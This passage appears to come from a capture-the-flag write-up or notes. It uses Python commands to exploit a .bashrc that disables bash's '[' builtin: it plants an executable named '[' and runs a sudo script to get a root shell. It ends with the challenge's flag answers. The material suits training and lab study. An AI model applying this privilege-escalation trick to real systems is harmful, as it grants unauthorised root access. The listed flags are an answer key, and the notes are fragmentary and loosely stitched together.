/usr/bin/echo "Website is not running: $WEBSITE_URL"
fi
"""
# The "enable" command below is a big security issue here
>>> pathlib.Path("/opt/.bashrc").read_text();
# https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md#builtins
"""
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
enable -n [ # ]
# If not running interactively, don't do anything [...]
"""
# Writeup on https://0xdf.gitlab.io/2023/02/11/htb-photobomb.html
>>> with open("[", "w") as f: f.write("#!/bin/bash\n\nbash\n")
18
>>> __import__("os").system("chmod +x [")
0
>>> exec(__import__("pathlib").Path("unsafe_mem.py").read_text())
>>> __import__("os").environ["PWNLIB_NOTERM"]="1"
>>> subprocess.Popen(["sudo","-S","bash","/opt/check.sh"],stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate(input=b"...\n")
root@proddb:~# ls
frosteau root.txt snap yetikey4.txt
root@proddb:~# cat root.txt yetikey4.txt
- What is the user flag?
933055a7aff65f65c5872480f6e1f482
- What is the root flag?
6b017c91560c77656885ea69613e9b68
- What is the yetikey4.txt flag?
1dfdccd3c02913121cc4a46710527379
Some challenges used to find the side quests tasks
were sometimes more of a hassle than the side quests themselves.